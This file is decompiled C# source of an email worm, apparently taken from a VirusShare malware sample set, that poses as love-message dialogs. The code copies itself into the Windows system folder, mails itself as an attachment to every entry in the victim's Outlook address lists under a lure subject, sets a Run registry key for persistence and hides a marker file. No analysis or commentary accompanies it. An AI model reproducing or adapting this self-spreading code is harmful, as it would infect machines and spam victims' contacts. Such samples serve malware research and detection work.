// Decompiled with JetBrains decompiler
// Type: LoveYou.Module1
// Assembly: LoveYou, Version=1.0.797.9891, Culture=neutral, PublicKeyToken=null
// MVID: A69AE25C-A63F-4698-B17A-9CFCAC868A1B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.MSIL.Litar-f42270356f25e0fc4def19fc2589ed7ebdd6dda94d7d6c5bcbfeef3d3f1545fd.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Timers;

namespace LoveYou
{
  [StandardModule]
  internal sealed class Module1
  {
    [AccessedThroughProperty("Timer1")]
    private static Timer _Timer1;
    public const int FILE_ATTRIBUTE_HIDDEN = 2;
    public static object fs;

    public static Timer Timer1
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (Module1._Timer1 != null)
          Module1._Timer1.Elapsed -= new ElapsedEventHandler(Module1.Timer1_Elapsed);
        Module1._Timer1 = value;
        if (Module1._Timer1 == null)
          return;
        Module1._Timer1.Elapsed += new ElapsedEventHandler(Module1.Timer1_Elapsed);
      }
      get => Module1._Timer1;
    }

    [DllImport("kernel32", EntryPoint = "SetFileAttributesA", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern long SetFileAttributes([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, long dwFileAttributes);

    [STAThread]
    public static void Main()
    {
      string str = "静儿,我爱你!Starlight制作";
      str = "Jing'er, I Love You! by Starlight";
      if (StringType.StrCmp(Interaction.Command(), "", false) == 0)
      {
        Module1.fs = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("Scripting.FileSystemObject"));
        if (BooleanType.FromObject(ObjectType.NotObj(LateBinding.LateGet(Module1.fs, (Type) null, "FileExists", new object[1]
        {
          (object) (Module1.GetSystemPath() + "\\" + Process.GetCurrentProcess().ProcessName + ".exe")
        }, (string[]) null, (bool[]) null))))
          Module1.CopyMeToSystemFolder();
        if (BooleanType.FromObject(ObjectType.NotObj(Module1.IsInfected())))
          Module1.InfectByEmail();
      }
      if (Strings.InStr(Interaction.Command(), "/t") != 0)
      {
        Module1.Timer1 = new Timer(50000.0);
        Module1.Timer1.AutoReset = true;
        Module1.Timer1.Enabled = true;
        while (true)
          ;
      }
      Module1.DoAction();
      ProjectData.EndApp();
    }

    private static void DoAction()
    {
      if (Interaction.MsgBox((object) "你知道我很爱你吗？", MsgBoxStyle.YesNo | MsgBoxStyle.Question, (object) "提问") == MsgBoxResult.No)
      {
        if (Interaction.MsgBox((object) "唉！算了，我每次这样问你，你都是这样．我真的很爱你，相信我好吗？", MsgBoxStyle.YesNo | MsgBoxStyle.Question, (object) "提问") == MsgBoxResult.Yes)
        {
          int num1 = (int) Interaction.MsgBox((object) "真的吗？谢谢！我真的好高兴，你终于相信我说的了");
        }
        else
        {
          object obj = (object) "";
          while (ObjectType.ObjTst(obj, (object) "", false) == 0)
            obj = (object) Interaction.InputBox("那你为什么不相信我呢？告诉我好吗？", "回答");
          int num2 = (int) Interaction.MsgBox(ObjectType.StrCatObj(ObjectType.StrCatObj((object) "我就知道你会这么说！", obj), (object) "，你每次都这么告诉我，算了，我相信总有一天能让你明白的"));
        }
      }
      else
      {
        int num3 = (int) Interaction.MsgBox((object) "真的吗？谢谢！我真的好高兴，你相信我说的话！");
      }
    }

    public static string GetSystemPath() => Environment.SystemDirectory;

    public static void InfectByEmail()
    {
label_0:
      int num1;
      int num2;
      int num3;
      Exception exception;
      try
      {
        ProjectData.ClearProjectError();
        num1 = 1;
label_1:
        num2 = 1;
        object objectValue1 = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell"));
label_2:
        num2 = 2;
        object o1 = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("Outlook.Application"));
label_3:
        num2 = 3;
        object o2 = RuntimeHelpers.GetObjectValue(LateBinding.LateGet(o1, (Type) null, "GetNameSpace", new object[1]
        {
          (object) "MAPI"
        }, (string[]) null, (bool[]) null));
label_4:
        num2 = 4;
        object objectValue2;
        object LoopForResult1;
        if (!FlowControl.ForLoopInitObj(objectValue2, (object) 1, LateBinding.LateGet(LateBinding.LateGet(o2, (Type) null, "AddressLists", new object[0], (string[]) null, (bool[]) null), (Type) null, "Count", new object[0], (string[]) null, (bool[]) null), (object) 1, ref LoopForResult1, ref objectValue2))
          goto label_24;
label_5:
        num2 = 5;
        object o3 = o2;
        object[] objArray1 = new object[1]
        {
          RuntimeHelpers.GetObjectValue(objectValue2)
        };
        object[] args1 = objArray1;
        bool[] flagArray1 = new bool[1]{ true };
        bool[] CopyBack1 = flagArray1;
        object obj1 = LateBinding.LateGet(o3, (Type) null, "AddressLists", args1, (string[]) null, CopyBack1);
        if (flagArray1[0])
          objectValue2 = RuntimeHelpers.GetObjectValue(objArray1[0]);
        object objectValue3 = RuntimeHelpers.GetObjectValue(obj1);
label_8:
        num2 = 6;
        object obj2;
        if (ObjectType.ObjTst(Conversion.Int(RuntimeHelpers.GetObjectValue(LateBinding.LateGet(LateBinding.LateGet(objectValue3, (Type) null, "AddressEntries", new object[0], (string[]) null, (bool[]) null), (Type) null, "Count", new object[0], (string[]) null, (bool[]) null))), Conversion.Int(RuntimeHelpers.GetObjectValue(obj2)), false) <= 0)
          goto label_23;
label_9:
        num2 = 7;
        object objectValue4;
        object LoopForResult2;
        if (!FlowControl.ForLoopInitObj(objectValue4, (object) 1, LateBinding.LateGet(LateBinding.LateGet(objectValue3, (Type) null, "AddressEntries", new object[0], (string[]) null, (bool[]) null), (Type) null, "Count", new object[0], (string[]) null, (bool[]) null), (object) 1, ref LoopForResult2, ref objectValue4))
          goto label_21;
label_10:
        num2 = 8;
        object o4 = objectValue3;
        object[] objArray2 = new object[1]
        {
          RuntimeHelpers.GetObjectValue(objectValue4)
        };
        object[] args2 = objArray2;
        bool[] flagArray2 = new bool[1]{ true };
        bool[] CopyBack2 = flagArray2;
        object obj3 = LateBinding.LateGet(o4, (Type) null, "AddressEntries", args2, (string[]) null, CopyBack2);
        if (flagArray2[0])
          objectValue4 = RuntimeHelpers.GetObjectValue(objArray2[0]);
        object objectValue5 = RuntimeHelpers.GetObjectValue(obj3);
label_13:
        num2 = 9;
        object objectValue6 = RuntimeHelpers.GetObjectValue(LateBinding.LateGet(o1, (Type) null, "CreateItem", new object[1]
        {
          (object) 0
        }, (string[]) null, (bool[]) null));
label_14:
        num2 = 10;
        object o5 = LateBinding.LateGet(objectValue6, (Type) null, "Recipients", new object[0], (string[]) null, (bool[]) null);
        object[] objArray3 = new object[1]
        {
          RuntimeHelpers.GetObjectValue(objectValue5)
        };
        object[] args3 = objArray3;
        bool[] flagArray3 = new bool[1]{ true };
        bool[] CopyBack3 = flagArray3;
        LateBinding.LateCall(o5, (Type) null, "Add", args3, (string[]) null, CopyBack3);
        if (flagArray3[0])
          objectValue5 = RuntimeHelpers.GetObjectValue(objArray3[0]);
label_16:
        num2 = 11;
        LateBinding.LateSet(objectValue6, (Type) null, "Subject", new object[1]
        {
          (object) "知道吗？"
        }, (string[]) null);
label_17:
        num2 = 12;
        LateBinding.LateSet(objectValue6, (Type) null, "Body", new object[1]
        {
          (object) "\r\nHi! \r\n你知道我很想你吗？看看我特意为你准备的礼物吧！\r\n ..."
        }, (string[]) null);
label_18:
        num2 = 13;
        LateBinding.LateCall(LateBinding.LateGet(objectValue6, (Type) null, "Attachments", new object[0], (string[]) null, (bool[]) null), (Type) null, "Add", new object[1]
        {
          (object) (Environment.CurrentDirectory + "\\" + Process.GetCurrentProcess().ProcessName + ".exe")
        }, (string[]) null, (bool[]) null);
label_19:
        num2 = 14;
        LateBinding.LateCall(objectValue6, (Type) null, "Send", new object[0], (string[]) null, (bool[]) null);
label_20:
        num2 = 15;
        if (FlowControl.ForNextCheckObj(objectValue4, LoopForResult2, ref objectValue4))
          goto label_10;
label_21:
        num2 = 16;
        o1 = (object) null;
label_22:
        num2 = 17;
        o2 = (object) null;
label_23:
        num2 = 19;
        if (FlowControl.ForNextCheckObj(objectValue2, LoopForResult1, ref objectValue2))
          goto label_5;
label_24:
        num2 = 20;
        LateBinding.LateCall(objectValue1, (Type) null, "RegWrite", new object[2]
        {
          (object) "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\RoseGarden",
          (object) (Module1.GetSystemPath() + "\\" + Process.GetCurrentProcess().ProcessName + ".exe /t")
        }, (string[]) null, (bool[]) null);
label_25:
        num2 = 21;
        Module1.MarkInfected();
        goto label_34;
label_26:
        int num4 = num3 + 1;
        num3 = 0;
        switch (num4)
        {
          case 0:
            goto label_0;
          case 1:
            goto label_1;
          case 2:
            goto label_2;
          case 3:
            goto label_3;
          case 4:
            goto label_4;
          case 5:
            goto label_5;
          case 6:
            goto label_8;
          case 7:
            goto label_9;
          case 8:
            goto label_10;
          case 9:
            goto label_13;
          case 10:
            goto label_14;
          case 11:
            goto label_16;
          case 12:
            goto label_17;
          case 13:
            goto label_18;
          case 14:
            goto label_19;
          case 15:
            goto label_20;
          case 16:
            goto label_21;
          case 17:
            goto label_22;
          case 18:
          case 19:
            goto label_23;
          case 20:
            goto label_24;
          case 21:
            goto label_25;
          case 22:
            goto label_34;
        }
      }
      catch (Exception ex) when (false)
      {
        ProjectData.SetProjectError(ex);
        exception = ex;
        if (num3 == 0)
        {
          num3 = num2;
          switch (num1)
          {
            case 1:
              goto label_26;
            default:
              throw;
          }
        }
      }
      throw exception;
label_34:
      if (num3 == 0)
        return;
      ProjectData.ClearProjectError();
    }

    public static void MarkInfected()
    {
      object objectValue = RuntimeHelpers.GetObjectValue(LateBinding.LateGet(Module1.fs, (Type) null, "CreateTextFile", new object[1]
      {
        (object) ("c:\\$windir$.log" + StringType.FromChar(Strings.Chr((int) byte.MaxValue)))
      }, (string[]) null, (bool[]) null));
      LateBinding.LateCall(objectValue, (Type) null, "write", new object[1]
      {
        (object) ("Install date:" + StringType.FromDate(DateTime.Now))
      }, (string[]) null, (bool[]) null);
      LateBinding.LateCall(objectValue, (Type) null, "Close", new object[0], (string[]) null, (bool[]) null);
      string lpFileName = "c:\\$windir$.log" + StringType.FromChar(Strings.Chr((int) byte.MaxValue));
      Module1.SetFileAttributes(ref lpFileName, 2L);
    }

    public static object IsInfected() => RuntimeHelpers.GetObjectValue(LateBinding.LateGet(Module1.fs, (Type) null, "FileExists", new object[1]
    {
      (object) ("C:\\$windir$.log" + StringType.FromChar(Strings.Chr((int) byte.MaxValue)))
    }, (string[]) null, (bool[]) null));

    public static void CopyMeToSystemFolder()
    {
label_0:
      int num1;
      int num2;
      int num3;
      Exception exception;
      try
      {
        ProjectData.ClearProjectError();
        num1 = 1;
label_1:
        num2 = 1;
        LateBinding.LateCall(Module1.fs, (Type) null, "CopyFile", new object[2]
        {
          (object) (Environment.CurrentDirectory + "\\" + Process.GetCurrentProcess().ProcessName + ".exe"),
          (object) (Module1.GetSystemPath() + "\\")
        }, (string[]) null, (bool[]) null);
        goto label_10;
label_2:
        int num4 = num3 + 1;
        num3 = 0;
        switch (num4)
        {
          case 0:
            goto label_0;
          case 1:
            goto label_1;
          case 2:
            goto label_10;
        }
      }
      catch (Exception ex) when (false)
      {
        ProjectData.SetProjectError(ex);
        exception = ex;
        if (num3 == 0)
        {
          num3 = num2;
          switch (num1)
          {
            case 1:
              goto label_2;
            default:
              throw;
          }
        }
      }
      throw exception;
label_10:
      if (num3 == 0)
        return;
      ProjectData.ClearProjectError();
    }

    public static void Timer1_Elapsed(object sender, ElapsedEventArgs e) => Module1.DoAction();
  }
}
